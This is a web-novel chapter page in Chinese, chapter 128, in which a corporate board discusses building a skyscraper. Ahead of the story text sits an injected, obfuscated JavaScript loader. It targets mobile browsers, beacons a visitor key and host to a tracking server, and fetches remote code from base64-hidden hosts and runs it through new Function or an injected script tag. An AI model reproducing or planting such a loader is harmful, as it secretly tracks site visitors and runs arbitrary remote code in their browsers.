足迹
我真不想努力了方飞浪
登录
关灯
护眼
字体:

第128章 摩天大楼(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

早前属于老范的那张椅子,现在归耿老头所有。

耿老头认真听着,仔细再看看企划书上罗列的数据,手里拿着钢笔不停转动,多半正动脑子思索着什么。

等到范连城粗略介绍完以后,他率先说道:

“要是你爸也同意,那就代表着大股东和二股东都倾向于进入写字楼市场了,关键两票已经投出,大家也都抓紧时间琢磨一下。表决什么的先等等,我想问问你,拿地之后抓紧时开发,还是倾向于压在手里等一等?”

范连城果断道:“那些视情况决定,但我觉得公司那块地可以开始动了,已经在手里积压那么些年,如今行情又那么好,假如不赶在中心大厦之前建造起来,到时候我怕招商压力会更大。

按照我的设想,最下面是商场,然后是写字楼或者酒店,再上面可以搞商住房,当时拿地楼层高度规划得较高,顶格四百米左右,好好设计一下,搞个大型商场出来,相当于一下子又多出一座龙城天街商场。”

有位独立董事提出疑问说:“小范总所说的抄底机会我赞同,股市那边确实不太像话了,里面大水泛滥,在这些核心商务区里从事写字楼开发工作的生意我也赞成,这几个月身边投资写字楼的人有不少。但是,小范总,旁边环球金融中心投了大概十亿美金才建成,它们有那么多股东分摊风险,我们要是自己搞,风险貌似太大了点?”

人在江湖,身不由己。

哪怕是提出疑问,语气也相当客气,生怕以后处处被范连城针对,在这龙城集团里,得罪范家这一脉,几乎注定了不会有什么好日子过。

环球金融中心是以曰本的森大厦株式会社为中心,联合日本、美国等地四十多家企业投资兴建的项目,总投资额超过十亿美金。

原设计高四百六十米,工程地块面积为三万平方米,总建筑面积达三十八万多平方米,1997年年初开工后,刚巧遭遇亚洲金融危机影响,工程曾一度停工。

直到2003年二月份工程才复工,但由于当时华夏宝岛和港城都在建造超过四百八十米高的摩天大厦,施工方兴建世界第一高楼的初衷不变,于是对原设计方案进行了修改。

修改后的环球金融中心比原来增加七层,地上一百零一层,地下三层,楼层总面积约三十七万七千平方米,在这2007年的九月底,已经快要完工了,刚封顶没几天。

范连城回复说:“什么项目都有风险,我们要研究的是如何将风险降到最低,而且那个项目烂尾许多年,把融资成本等等也算进去了,真实开销没那么大,如果我们要建就别求什么标新立异,能让人记住就行,我特意找个了施工难度小的项目给大家看看,而且空中土地利用率还更高。”

他找的是伦敦子弹头大厦,正式名称是“瑞士再保险总部大厦”,即将新建的碎片大厦图片也被找了出来。

然后就是迪拜塔、规划中的魔都中心大厦等。

在座各位都跟房地产行业息息相关。

不仅只有老范对摩天大楼念念不忘,在座其他人大多也都一样。

加上近期龙城集团市值都冲高到一千二百六十多亿人民币了,股东们心思有些膨胀,连几亿美金的造价都开始觉得没什么大不了。

周伟锡吞了口口水后,安耐不住问道:“这些楼瞧着是不错,既然旁边那块地一直不对外出售,闲置着也是浪费,要不然先试着设计,看看造价有多少,然后再决定怎么样。”

另外一位独立董事跟着点头,来句:

“咱们这么大的公司,确实需要门面来对外展示,何况假如我没记错,内地没有哪家公司把房子修建得那么高吧?能买得起里面房子的人,应该也不会在乎孩子有没有学上、使用年限是多少,我不信到期后还真能无偿收走。

既有商场,又有写字楼、酒店,这么一来就没必要担心空置率太高了,等于分摊很多风险,值得试一试。”

随着众人发言表态。

他们的态度让范连城觉得意外,没想到居然会这么顺利。

造价之类不在他考虑范围内,就像先前说的那样,可以用还没影子的土地和大厦抵押,从银行里贷款将项目搞好,然后慢慢还钱。

借钱,这也是富人越富的原因之一,极少有大公司不从银行里拿钱,相比起需要偿还的利息,利润往往能够更多。

本来范连城甚至做好了自己掏一亿美金左右,像上次福利房那样,财大气粗劝说他们的准备,现在看看好像并不需要。

除了虚荣心之外,市场表现也是让董事和股东们点头的重要原因。

就拿刚才提到的恒隆广场二期项目来说,跟一期加起来长远利益可能高达数百亿人民币,就连它附近的龙城天街项目都被碾压了,堪称全国最火爆的商业地产项目之一。